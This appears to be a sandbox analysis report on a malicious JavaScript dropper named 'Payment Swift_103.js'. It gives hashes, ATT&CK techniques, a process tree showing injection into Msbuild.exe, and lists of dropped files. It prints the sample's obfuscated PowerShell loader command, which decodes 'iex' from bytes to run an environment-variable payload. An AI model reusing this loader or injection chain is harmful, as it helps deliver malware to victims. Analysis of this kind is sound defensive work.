57e715f0a03f13d3eca602ed38cd94bd157f4a8b721fa68735d305b6b9109bf0

Analysis

max time kernel
149s
max time network
129s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/11/2026, 13:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Payment Swift_103.js
Size 57KB
Sample261102-qsgebatyaw
SHA256 57e715f0a03f13d3eca602ed38cd94bd157f4a8b721fa68735d305b6b9109bf0
MD5 4c30cdd434380e7278e5d610070a5804
SHA1 eb642a84de62a9acb9cf8149bd584f27a9d32eb0
SHA512 160c9e5a359b616bb56828dd43105031a8b032576bbaca51b329a2d7d0240bbc81d9fbeae7e5f21b1039060649f920f575913a4a1ae87ed87f9302076c02a3b3
SSDEEP 768:9q8S6AjPepM7CvAVFLBKFzRejVFqj90+Y7YW/3nu3nUr3nYqQ8:9wjPYuVG+3nu3ns3no8
TLSH
T13A4311524BFE0368B6C23498492A611ED8F785479F186C9863870EDFFB2CD505AF5633
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1960	4092	cmd.exe	89

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	5944	powershell.exe
8	5944	powershell.exe
10	5944	powershell.exe
11	5944	powershell.exe
12	5944	powershell.exe
13	5944	powershell.exe
14	5944	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5944 set thread context of 5528	5944	powershell.exe	96

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1960	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
5944	powershell.exe
5944	powershell.exe
5944	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5944	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1960 wrote to memory of 5944	1960	cmd.exe	92
PID 5944 wrote to memory of 2412	5944	powershell.exe	93
PID 2412 wrote to memory of 260	2412	csc.exe	94
PID 5944 wrote to memory of 5528	5944	powershell.exe	96
PID 5944 wrote to memory of 5528	5944	powershell.exe	96
PID 5944 wrote to memory of 5528	5944	powershell.exe	96
PID 5944 wrote to memory of 5528	5944	powershell.exe	96

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Payment Swift_103.js"
1⤵
- Reads the TCP/IP host and domain name from the registry
PID:5780

C:\Windows\system32\cmd.exe
cmd /c %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe .([Text.Encoding]::ASCII.GetString([byte[]](105,101,120))) $env:gaFkegkdz;
1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe .([Text.Encoding]::ASCII.GetString([byte[]](105,101,120))) $env:gaFkegkdz;
  2⤵
  - Badlisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5944
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qmcwmf5l\qmcwmf5l.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2412
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5B65.tmp" "c:\Users\Admin\AppData\Local\Temp\qmcwmf5l\CSCD4BC696E375E4AE6B3732C4F45957DF.TMP"
      4⤵
      PID:260
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe"
    3⤵
    PID:5528

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES5B65.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES5B65.tmp
Size 1KB
SHA256 f93978476eac81f79f0f88a4d5b4a788dedfdded5e881ba37ea66955f96cf241
MD5 4738ad16d643df6d85f6e5d75d2ccb98
SHA1 2894676883e538bbcbfe3ae6239ddf619d0b06a9
SHA512 a56d325b52a14ca28a3f9191bd1b93f4fdbdf7d074124e1ab0a6f4ce44520ce20a44db56c130dfc0efd87a92b335db22ca2240343ae2e77087e6bd2cabd6acc2
TLSH
T11D21EF0093EC471EF07357316EF6572BE634FE74EF62939A894002282C50600EFA0A76
MD5 SHA1 SHA512 TLSH

Submit Download

qmcwmf5l.dll

Path C:\Users\Admin\AppData\Local\Temp\qmcwmf5l\qmcwmf5l.dll
Size 3KB
SHA256 ad107ccdbad998c9769862b5d9ed1cddf0ff3d951cf34c72e590909ffcd08f6d
MD5 4b3b498ad31b68f6187d9d9ae9a61831
SHA1 4e197be893b1feea6aaf50550c6f4819ae2ee463
SHA512 069858570c9a88b1e7f144c802ac09b3977e8f634bcffd9c6a67d1884674455cc17abd5d0b1e8e20636443bbf7d8787a51e35c6a8350d3f30c93c463d8e3f8a6
TLSH
T1BB51EF1653FC832BE4B70B346EF387237378F9108B6283595981026CAC212745E31F79
MD5 SHA1 SHA512 TLSH

Submit Download

CSCD4BC696E375E4AE6B3732C4F45957DF.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\qmcwmf5l\CSCD4BC696E375E4AE6B3732C4F45957DF.TMP
Size 652B
SHA256 3a77f0d2e8352d5403ba298e6fdb3d6779d428e4c0c970b45453ebee1274e997
MD5 0e4e8ba153de467aa855b66043c23d66
SHA1 495dafb7b4410ee8954d8e561e88ddaf0ad51835
SHA512 1398f3a32cc363abea915c82681781973b3637472aa0e5aee30c34ff87d40b6422148008e5b109d91cf3d5c4835dbf922a179cbbb27704452f28862b9a3404ca
TLSH
T189F05E0967FC430EF4F34B30BEF65363D5A9BC64DE3293ED5540031928649108A62FB6
MD5 SHA1 SHA512 TLSH

Submit Download

qmcwmf5l.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\qmcwmf5l\qmcwmf5l.0.cs
Size 210B
SHA256 133a00d0bc7755aaaf3cf0896dd64af72d4d3a938529d86a5ca25c11cd3e74da
MD5 1cef907a71656833dce7b5996bc5a195
SHA1 e371f93df97d357e2754913e1d8ed2fd0f7b2d47
SHA512 aeab2e0fa50c6014dd6407260d8f345f834dc9da1e4266e4a7b383ccbf29ec1e35c7cea68af3a261e38e6734baa6efd123a4bc50518fd388ad91da65f6886dfa
TLSH
T1AFD0A91422C2F3344B8345073C07F8A5633FAB1003E56048E46A0D43EE08074A778C1A
MD5 SHA1 SHA512 TLSH

Submit Download

qmcwmf5l.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\qmcwmf5l\qmcwmf5l.cmdline
Size 369B
SHA256 aa690843818324f488f860706933fad90a380eaab2c7e09155d6f5ea2aa66bef
MD5 8b8c858df07012c4968080bda9036c98
SHA1 3cd71eac0bc118db1ec30bf0d69bc12cc37664c8
SHA512 a148590b434f1c9165479250e69f692bc746a21a049035c3b68e05f55a2b9080214e7ded8ba655120368bb55771c5f58d40892af176606b3ef707698752ca8d8
TLSH
T17BE0C67A4246C27D01FF200F2A7ACCADC372078B29823F849480C80DE0274082BD2781
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2412-26-0x000002146C4D0000-0x000002146CE74000-memory.dmp

Download

memory/5528-33-0x0000000140000000-0x00000001401EE000-memory.dmp

Download

memory/5944-14-0x00007FFFBC370000-0x00007FFFBCD14000-memory.dmp

Download

memory/5944-6-0x00007FFFBC370000-0x00007FFFBCD14000-memory.dmp

Download

memory/5944-11-0x00007FFFBC370000-0x00007FFFBCD14000-memory.dmp

Download

memory/5944-12-0x00007FFFBC370000-0x00007FFFBCD14000-memory.dmp

Download

memory/5944-13-0x00007FFFBC370000-0x00007FFFBCD14000-memory.dmp

Download

memory/5944-0-0x00007FFFBC4FF000-0x00007FFFBC500000-memory.dmp

Download

memory/5944-9-0x00007FFFBC370000-0x00007FFFBCD14000-memory.dmp

Download

memory/5944-8-0x00007FFFBC370000-0x00007FFFBCD14000-memory.dmp

Download

memory/5944-7-0x00007FFFBC370000-0x00007FFFBCD14000-memory.dmp

Download

memory/5944-10-0x00007FFFBC370000-0x00007FFFBCD14000-memory.dmp

Download

memory/5944-5-0x00007FFFBC370000-0x00007FFFBCD14000-memory.dmp

Download

memory/5944-28-0x000001B2F4200000-0x000001B2F4208000-memory.dmp

Download

memory/5944-3-0x000001B2F4250000-0x000001B2F4272000-memory.dmp

Download

memory/5944-30-0x00007FFFBC370000-0x00007FFFBCD14000-memory.dmp

Download

memory/5944-31-0x00007FFFBC370000-0x00007FFFBCD14000-memory.dmp

Download

memory/5944-32-0x000001B2F4620000-0x000001B2F4638000-memory.dmp

Download

memory/5944-4-0x00007FFFBC370000-0x00007FFFBCD14000-memory.dmp

Download

memory/5944-36-0x00007FFFBC370000-0x00007FFFBCD14000-memory.dmp

Download